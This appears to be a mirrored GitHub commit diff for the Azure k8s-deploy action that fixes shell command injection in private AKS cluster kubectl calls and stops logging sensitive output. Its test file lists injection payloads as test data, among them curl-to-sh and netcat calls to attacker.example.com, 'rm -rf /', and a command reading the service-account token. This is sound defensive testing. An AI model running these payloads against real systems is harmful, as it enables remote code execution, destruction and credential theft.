azure/k8s-deploy
1
0
Fork 0
mirror of https://github.com/Azure/k8s-deploy.git synced 2026-10-09 07:59:57 +08:00
Code Issues Packages Projects Releases Wiki Activity

fix az aks private cluster command args (#560)

Browse Source
This commit is contained in:
David Gamero
2026-08-26 14:43:14 -04:00
committed by GitHub
parent 75a6f522ba
commit 0fc36d57fe
4 changed files with 386 additions and 118 deletions
Download Patch File Download Diff File Expand all files Collapse all files
package-lock.json
Generated
+1 -19
View File
@@ -15,12 +15,10 @@
"@actions/tool-cache": "4.0.0",
"@octokit/core": "^7.0.6",
"@octokit/plugin-retry": "^8.1.0",
"js-yaml": "5.2.2",
"minimist": "^1.2.8"
"js-yaml": "5.2.2"
},
"devDependencies": {
"@types/js-yaml": "^4.0.9",
"@types/minimist": "^1.2.5",
"@types/node": "^26.1.1",
"esbuild": "^0.28",
"husky": "^9.1.7",
@@ -1036,13 +1034,6 @@
"dev": true,
"license": "MIT"
},
"node_modules/@types/minimist": {
"version": "1.2.5",
"resolved": "https://registry.npmjs.org/@types/minimist/-/minimist-1.2.5.tgz",
"integrity": "sha512-hov8bUuiLiyFPGyFPE1lwWhmzYbirOXQNNo40+y3zow8aFVTeyn3VWL0VFFfdNddA8S4Vf0Tc062rzyNr7Paag==",
"dev": true,
"license": "MIT"
},
"node_modules/@types/node": {
"version": "26.1.2",
"resolved": "https://registry.npmjs.org/@types/node/-/node-26.1.2.tgz",
@@ -2003,15 +1994,6 @@
"@jridgewell/sourcemap-codec": "^1.5.5"
}
},
"node_modules/minimist": {
"version": "1.2.8",
"resolved": "https://registry.npmjs.org/minimist/-/minimist-1.2.8.tgz",
"integrity": "sha512-2yyAR8qBkN3YuheJanUpWC5U3bb5osDywNB8RzDVlDwDHbocAJveqqj1u8+SVD7jkWT4yvsHCpWqqWqAxb0zCA==",
"license": "MIT",
"funding": {
"url": "https://github.com/sponsors/ljharb"
}
},
"node_modules/nanoid": {
"version": "3.3.16",
"resolved": "https://registry.npmjs.org/nanoid/-/nanoid-3.3.16.tgz",
package.json
+1 -3
View File
@@ -20,12 +20,10 @@
"@actions/tool-cache": "4.0.0",
"@octokit/core": "^7.0.6",
"@octokit/plugin-retry": "^8.1.0",
"js-yaml": "5.2.2",
"minimist": "^1.2.8"
"js-yaml": "5.2.2"
},
"devDependencies": {
"@types/js-yaml": "^4.0.9",
"@types/minimist": "^1.2.5",
"@types/node": "^26.1.1",
"esbuild": "^0.28",
"husky": "^9.1.7",
src/types/privatekubectl.test.ts
+262 -17
View File
@@ -1,17 +1,40 @@
import {vi} from 'vitest'
vi.mock('@actions/exec')
vi.mock('@actions/core')
import {execFileSync} from 'node:child_process'
import * as fileUtils from '../utilities/fileUtils.js'
import fs from 'node:fs'
import {
PrivateKubectl,
buildShellCommand,
containsFilenames,
extractFileNames,
replaceFileNamesWithShallowNamesRelativeToTemp
replaceFileNamesWithShallowNamesRelativeToTemp,
shellQuote
} from './privatekubectl.js'
import * as exec from '@actions/exec'
import * as core from '@actions/core'
describe('Private kubectl', () => {
const testString = `kubectl annotate -f /tmp/testdir/test.yml,/tmp/test2.yml,/tmp/testdir/subdir/test3.yml -f /tmp/test4.yml --filename /tmp/test5.yml actions.github.com/k8s-deploy={"run":"3498366832","repository":"jaiveerk/k8s-deploy","workflow":"Minikube Integration Tests - private cluster","workflowFileName":"run-integration-tests-private.yml","jobName":"run-integration-test","createdBy":"jaiveerk","runUri":"https://github.com/jaiveerk/k8s-deploy/actions/runs/3498366832","commit":"c63b323186ea1320a31290de6dcc094c06385e75","lastSuccessRunCommit":"NA","branch":"refs/heads/main","deployTimestamp":1668787848577,"dockerfilePaths":{"nginx:1.14.2":""},"manifestsPaths":["https://github.com/jaiveerk/k8s-deploy/blob/c63b323186ea1320a31290de6dcc094c06385e75/test/integration/test.yml"],"helmChartPaths":[],"provider":"GitHub"} --overwrite --namespace test-3498366832`
const annotationPayload = `actions.github.com/k8s-deploy={"run":"3498366832","repository":"jaiveerk/k8s-deploy","workflow":"Minikube Integration Tests - private cluster","branch":"refs/heads/main","provider":"GitHub"}`
// The argv form of what the action builds internally.
const testArgs = [
'kubectl',
'annotate',
'-f',
'/tmp/testdir/test.yml,/tmp/test2.yml,/tmp/testdir/subdir/test3.yml',
'-f',
'/tmp/test4.yml',
'--filename',
'/tmp/test5.yml',
annotationPayload,
'--overwrite',
'--namespace',
'test-3498366832'
]
const mockKube = new PrivateKubectl(
'kubectlPath',
'namespace',
@@ -20,19 +43,12 @@ describe('Private kubectl', () => {
'resourceName'
)
const spy = vi
.spyOn(fileUtils, 'getTempDirectory')
.mockImplementation(() => {
return '/tmp'
})
vi.spyOn(fileUtils, 'getTempDirectory').mockImplementation(() => '/tmp')
vi.spyOn(fs, 'writeFileSync').mockImplementation(() => {})
vi.spyOn(fs, 'readFileSync').mockImplementation((filename) => {
return 'test contents'
})
vi.spyOn(fs, 'readFileSync').mockImplementation(() => 'test contents')
it('should extract filenames correctly', () => {
expect(extractFileNames(testString)).toEqual([
expect(extractFileNames(testArgs)).toEqual([
'/tmp/testdir/test.yml',
'/tmp/test2.yml',
'/tmp/testdir/subdir/test3.yml',
@@ -42,11 +58,35 @@ describe('Private kubectl', () => {
})
it('should replace filenames with shallow names for relative locations in tmp correctly', () => {
expect(
replaceFileNamesWithShallowNamesRelativeToTemp(testString)
).toEqual(
`kubectl annotate -f testdir-test.yml,test2.yml,testdir-subdir-test3.yml -f test4.yml --filename test5.yml actions.github.com/k8s-deploy={"run":"3498366832","repository":"jaiveerk/k8s-deploy","workflow":"Minikube Integration Tests - private cluster","workflowFileName":"run-integration-tests-private.yml","jobName":"run-integration-test","createdBy":"jaiveerk","runUri":"https://github.com/jaiveerk/k8s-deploy/actions/runs/3498366832","commit":"c63b323186ea1320a31290de6dcc094c06385e75","lastSuccessRunCommit":"NA","branch":"refs/heads/main","deployTimestamp":1668787848577,"dockerfilePaths":{"nginx:1.14.2":""},"manifestsPaths":["https://github.com/jaiveerk/k8s-deploy/blob/c63b323186ea1320a31290de6dcc094c06385e75/test/integration/test.yml"],"helmChartPaths":[],"provider":"GitHub"} --overwrite --namespace test-3498366832`
)
expect(replaceFileNamesWithShallowNamesRelativeToTemp(testArgs)).toEqual([
'kubectl',
'annotate',
'-f',
'testdir-test.yml,test2.yml,testdir-subdir-test3.yml',
'-f',
'test4.yml',
'--filename',
'test5.yml',
annotationPayload,
'--overwrite',
'--namespace',
'test-3498366832'
])
})
it('should not treat a value merely containing "-f " as a filename flag', () => {
// containsFilenames() previously substring-matched the flattened
// command, so an annotation or resource name containing "-f " triggered
// filename rewriting and corrupted the command.
const args = ['kubectl', 'annotate', 'deployment', 'my-f oo']
expect(containsFilenames(args)).toBe(false)
expect(extractFileNames(args)).toEqual([])
})
it('detects the --filename= inline form', () => {
const args = ['kubectl', 'apply', '--filename=/tmp/a.yml']
expect(containsFilenames(args)).toBe(true)
expect(extractFileNames(args)).toEqual(['/tmp/a.yml'])
})
test('Should throw well defined Error on error from Azure', async () => {
@@ -62,3 +102,208 @@ describe('Private kubectl', () => {
)
})
})
const azOk = {
exitCode: 0,
stdout: JSON.stringify({logs: 'ok', exitCode: 0}),
stderr: ''
}
/** The string handed to `az aks command invoke --command`. */
function invokedCommand(callIndex = 0): string {
const argv: string[] = (exec.getExecOutput as any).mock.calls[callIndex][1]
const i = argv.indexOf('--command')
expect(i).toBeGreaterThan(-1)
return argv[i + 1]
}
/**
* Runs the generated command in a real POSIX shell with `kubectl` stubbed to
* dump its argv NUL-separated. This is the strongest available assertion that
* quoting is correct: it proves the shell reconstructs exactly the argv we
* started with, rather than merely that the string "looks escaped".
*/
function argvSeenByCluster(command: string): string[] {
const script = `kubectl() { printf '%s\\0' "$@"; }; ${command}`
const parts = execFileSync('sh', ['-c', script], {encoding: 'utf8'}).split(
'\0'
)
if (parts[parts.length - 1] === '') parts.pop()
return parts
}
describe('shellQuote', () => {
it('leaves safe tokens unquoted for readability', () => {
expect(shellQuote('kubectl')).toBe('kubectl')
expect(shellQuote('--namespace')).toBe('--namespace')
expect(shellQuote('/tmp/a_b.yml')).toBe('/tmp/a_b.yml')
})
it('quotes the empty string', () => {
expect(shellQuote('')).toBe("''")
})
it('escapes embedded single quotes', () => {
expect(shellQuote("it's")).toBe(`'it'\\''s'`)
})
})
describe('PrivateKubectl command injection (CWE-78)', () => {
const kubectl = new PrivateKubectl(
'kubectl',
'test-ns',
false,
'my-rg',
'my-cluster'
)
beforeEach(() => {
vi.spyOn(fs, 'readFileSync').mockImplementation(
() => 'test contents' as any
)
vi.spyOn(fs, 'writeFileSync').mockImplementation(() => {})
vi.spyOn(fs, 'existsSync').mockImplementation(() => true)
vi.spyOn(exec, 'getExecOutput').mockImplementation(async () => azOk)
})
it('sends az an argv array, never a shell string', async () => {
await kubectl.delete(['deployment', 'my-app'])
const call = (exec.getExecOutput as any).mock.calls[0]
expect(call[0]).toBe('az')
expect(Array.isArray(call[1])).toBe(true)
})
it('produces a command the cluster shell parses back to the exact argv', async () => {
await kubectl.delete(['deployment', 'my-app'])
expect(argvSeenByCluster(invokedCommand())).toEqual([
'delete',
'deployment',
'my-app',
'--namespace',
'test-ns'
])
})
it('quotes an annotation payload containing spaces, quotes and braces', async () => {
// This unquoted JSON blob corrupted the remote command even in ordinary
// use, and embeds GITHUB_WORKFLOW and the branch name.
const annotation = `actions.github.com/k8s-deploy={"run":"1","workflow":"My Workflow","branch":"refs/heads/main"}`
await kubectl.annotateFiles('/tmp/a.yml', annotation)
expect(argvSeenByCluster(invokedCommand())).toEqual([
'annotate',
'-f',
'a.yml',
annotation,
'--overwrite',
'--namespace',
'test-ns'
])
})
it.each([
';curl -s attacker.example.com | sh',
'$(id)',
'`id`',
'&& rm -rf /',
'| nc attacker.example.com 443',
"'; id; #",
'$IFS$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)',
'> /tmp/pwned',
'a\nb'
])(
'neutralises shell payload %s in an annotation value',
async (payload) => {
const annotation = `actions.github.com/k8s-deploy={"branch":"${payload}"}`
await kubectl.annotateFiles('/tmp/a.yml', annotation)
const argv = argvSeenByCluster(invokedCommand())
// The payload arrives as inert data inside a single argument.
expect(argv[3]).toBe(annotation)
// Exactly the arguments we intended, nothing more.
expect(argv).toHaveLength(7)
}
)
it.each([
'x;curl attacker.example.com|sh',
'x$(id)',
'x`id`',
'--as=system:masters'
])(
'neutralises payload %s carried in a resource name',
async (maliciousName) => {
// Reaches the command string via manifest metadata.name, which flows
// into delete/describe/annotate for canary and blue-green strategies.
await kubectl.delete(['deployment', maliciousName])
expect(argvSeenByCluster(invokedCommand())).toEqual([
'delete',
'deployment',
maliciousName,
'--namespace',
'test-ns'
])
}
)
it('neutralises a payload carried in the namespace', async () => {
// Workflows commonly build this from github.head_ref, and git permits
// ';', '$', '(', ')', '`', '|' and '&' in branch names.
const badNs = 'pr-;curl$IFS-s$IFSattacker.example.com|sh;'
const bad = new PrivateKubectl(
'kubectl',
badNs,
false,
'my-rg',
'my-cluster'
)
await bad.delete(['deployment', 'my-app'])
expect(argvSeenByCluster(invokedCommand())).toEqual([
'delete',
'deployment',
'my-app',
'--namespace',
badNs
])
})
it('neutralises a payload carried in a manifest filename', async () => {
// Temp manifest filenames are derived from metadata.name, and
// path.basename() strips separators but not shell metacharacters.
const badFile = '/tmp/Deployment_x;id;_1.yml'
await kubectl.annotateFiles(badFile, 'k=v')
const argv = argvSeenByCluster(invokedCommand())
expect(argv[0]).toBe('annotate')
expect(argv[1]).toBe('-f')
expect(argv[2]).toBe('Deployment_x;id;_1.yml')
expect(argv).toHaveLength(7)
})
it('does not expand the payload into extra shell words', async () => {
const cmd = buildShellCommand(['kubectl', 'delete', 'a b;id;`id`'])
expect(argvSeenByCluster(cmd)).toEqual(['delete', 'a b;id;`id`'])
})
it('honours silent and does not log command output (CWE-532)', async () => {
const info = vi.spyOn(core, 'info').mockImplementation(() => {})
vi.spyOn(exec, 'getExecOutput').mockImplementation(async () => ({
exitCode: 0,
stdout: JSON.stringify({
logs: 'pod spec containing DB_PASSWORD=hunter2',
exitCode: 0
}),
stderr: ''
}))
// getAllPods() requests silent output.
await kubectl.getAllPods()
expect(info).not.toHaveBeenCalled()
// A non-silent command still surfaces its logs.
await kubectl.delete(['deployment', 'my-app'])
expect(info).toHaveBeenCalled()
})
})
src/types/privatekubectl.ts
+122 -79
View File
@@ -1,15 +1,36 @@
import {Kubectl} from './kubectl.js'
import minimist from 'minimist'
import {ExecOptions, ExecOutput, getExecOutput} from '@actions/exec'
import * as core from '@actions/core'
import fs from 'node:fs'
import * as path from 'path'
import {getTempDirectory} from '../utilities/fileUtils.js'
const FILENAME_FLAGS = ['-f', '--filename']
/**
* POSIX single-quote escaping.
*
* `az aks command invoke --command <string>` is evaluated by a shell inside
* the cluster, so any value we interpolate must be quoted. Wrapping in single
* quotes removes the special meaning of every character except `'`, which is
* encoded as `'\''`.
*/
export function shellQuote(arg: string): string {
const value = String(arg)
if (value === '') return "''"
// Unreserved characters are emitted bare to keep logged commands readable.
if (/^[a-zA-Z0-9_@%+=:,./-]+$/.test(value)) return value
return `'${value.split("'").join(`'\\''`)}'`
}
/** Joins an argv array into a string that is safe for a POSIX shell. */
export function buildShellCommand(args: string[]): string {
return args.map(shellQuote).join(' ')
}
export class PrivateKubectl extends Kubectl {
protected async execute(args: string[], silent: boolean = false) {
args.unshift('kubectl')
let kubectlCmd = args.join(' ')
let kubectlArgs = ['kubectl', ...args]
let addFileFlag = false
let eo = <ExecOptions>{
silent: true,
@@ -17,8 +38,9 @@ export class PrivateKubectl extends Kubectl {
ignoreReturnCode: true
}
if (this.containsFilenames(kubectlCmd)) {
kubectlCmd = replaceFileNamesWithShallowNamesRelativeToTemp(kubectlCmd)
if (containsFilenames(kubectlArgs)) {
kubectlArgs =
replaceFileNamesWithShallowNamesRelativeToTemp(kubectlArgs)
addFileFlag = true
}
@@ -29,6 +51,12 @@ export class PrivateKubectl extends Kubectl {
throw Error('Cluster name must be specified for private cluster')
}
// Every argument is quoted so that no manifest-derived value (resource
// name, namespace, annotation payload, file path) can break out of its
// argument and be interpreted as shell syntax by the in-cluster shell.
// Do not replace this with a plain join.
const kubectlCmd = buildShellCommand(kubectlArgs)
const privateClusterArgs = [
'aks',
'command',
@@ -38,7 +66,7 @@ export class PrivateKubectl extends Kubectl {
'--name',
this.name,
'--command',
`${kubectlCmd}`
kubectlCmd
]
if (addFileFlag) {
@@ -52,13 +80,7 @@ export class PrivateKubectl extends Kubectl {
)
const allArgs = [...privateClusterArgs, '-o', 'json']
core.debug(`full form of az command: az ${allArgs.join(' ')}`)
const runOutput = await getExecOutput('az', allArgs, eo)
core.debug(
`from kubectl private cluster command got run output ${JSON.stringify(
runOutput
)}`
)
if (runOutput.exitCode !== 0) {
throw Error(
@@ -69,6 +91,10 @@ export class PrivateKubectl extends Kubectl {
const runObj: {logs: string; exitCode: number} = JSON.parse(
runOutput.stdout
)
// Honour the caller's `silent` request. Callers pass silent=true for
// commands whose output may contain pod specs and other sensitive
// material; that output was previously written to the debug log
// unconditionally regardless of `silent`.
if (!silent) core.info(runObj.logs)
if (runObj.exitCode !== 0) {
throw Error(`failed private cluster Kubectl command: ${kubectlCmd}`)
@@ -80,10 +106,6 @@ export class PrivateKubectl extends Kubectl {
stderr: ''
} as ExecOutput
}
private containsFilenames(str: string) {
return str.includes('-f ') || str.includes('filename ')
}
}
function createTempManifestsDirectory(): string {
@@ -95,75 +117,96 @@ function createTempManifestsDirectory(): string {
return manifestsDirPath
}
/**
* True when the argv contains a filename flag. Operates on discrete argv
* elements rather than a substring search over a flattened command, so a
* resource name or annotation value that merely contains "-f " cannot
* trigger a false positive.
*/
export function containsFilenames(args: string[]): boolean {
return args.some(
(arg, i) =>
(FILENAME_FLAGS.includes(arg) && i < args.length - 1) ||
FILENAME_FLAGS.some((flag) => arg.startsWith(`${flag}=`))
)
}
function copyToShallowName(filename: string): string {
const relativeName = path.relative(getTempDirectory(), filename)
const shallowName = path.basename(relativeName.split(path.sep).join('-'))
const manifestsTempDir = createTempManifestsDirectory()
const shallowPath = path.join(manifestsTempDir, shallowName)
core.debug(
`moving contents from ${filename} to shallow location at ${shallowPath}`
)
fs.writeFileSync(shallowPath, fs.readFileSync(filename).toString())
return shallowName
}
/**
* Rewrites the values of any `-f`/`--filename` arguments so they refer to
* flattened copies inside RUNNER_TEMP/manifests, which is what gets uploaded
* by `az aks command invoke --file .`.
*
* This works positionally on the argv array. The previous implementation
* re-parsed a flattened command string with minimist and substituted paths
* with String.replace, which mis-parsed any value containing spaces and could
* corrupt unrelated arguments. Doing this before the join is also what makes
* quoting possible at all.
*/
export function replaceFileNamesWithShallowNamesRelativeToTemp(
kubectlCmd: string
) {
let filenames = extractFileNames(kubectlCmd)
core.debug(`filenames originally provided in kubectl command: ${filenames}`)
let relativeShallowNames = filenames.map((filename) => {
const relativeName = path.relative(getTempDirectory(), filename)
args: string[]
): string[] {
const result = [...args]
const relativePathElements = relativeName.split(path.sep)
for (let i = 0; i < result.length; i++) {
const arg = result[i]
const shallowName = relativePathElements.join('-')
if (FILENAME_FLAGS.includes(arg) && i < result.length - 1) {
result[i + 1] = result[i + 1]
.split(',')
.map(copyToShallowName)
.join(',')
i++
continue
}
// make manifests dir in temp if it doesn't already exist
const manifestsTempDir = createTempManifestsDirectory()
const shallowPath = path.join(manifestsTempDir, shallowName)
core.debug(
`moving contents from ${filename} to shallow location at ${shallowPath}`
const inlineFlag = FILENAME_FLAGS.find((flag) =>
arg.startsWith(`${flag}=`)
)
core.debug(`reading contents from ${filename}`)
const contents = fs.readFileSync(filename).toString()
core.debug(`writing contents to new path ${shallowPath}`)
fs.writeFileSync(shallowPath, contents)
return shallowName
})
let result = kubectlCmd
if (filenames.length != relativeShallowNames.length) {
throw Error(
'replacing filenames with relative path from temp dir, ' +
filenames.length +
' filenames != ' +
relativeShallowNames.length +
'basenames'
)
}
for (let index = 0; index < filenames.length; index++) {
result = result.replace(filenames[index], relativeShallowNames[index])
}
return result
}
export function extractFileNames(strToParse: string) {
const fileNames: string[] = []
const argv = minimist(strToParse.split(' '))
const fArg = 'f'
const filenameArg = 'filename'
fileNames.push(...extractFilesFromMinimist(argv, fArg))
fileNames.push(...extractFilesFromMinimist(argv, filenameArg))
return fileNames
}
export function extractFilesFromMinimist(argv, arg: string): string[] {
if (!argv[arg]) {
return []
}
const toReturn: string[] = []
if (typeof argv[arg] === 'string') {
toReturn.push(...argv[arg].split(','))
} else {
for (const value of argv[arg] as string[]) {
toReturn.push(...value.split(','))
if (inlineFlag) {
const value = arg.slice(inlineFlag.length + 1)
result[i] =
`${inlineFlag}=${value.split(',').map(copyToShallowName).join(',')}`
}
}
return toReturn
return result
}
/** Returns every filename referenced by `-f`/`--filename` in an argv array. */
export function extractFileNames(args: string[]): string[] {
const fileNames: string[] = []
for (let i = 0; i < args.length; i++) {
const arg = args[i]
if (FILENAME_FLAGS.includes(arg) && i < args.length - 1) {
fileNames.push(...args[i + 1].split(','))
i++
continue
}
const inlineFlag = FILENAME_FLAGS.find((flag) =>
arg.startsWith(`${flag}=`)
)
if (inlineFlag) {
fileNames.push(...arg.slice(inlineFlag.length + 1).split(','))
}
}
return fileNames
}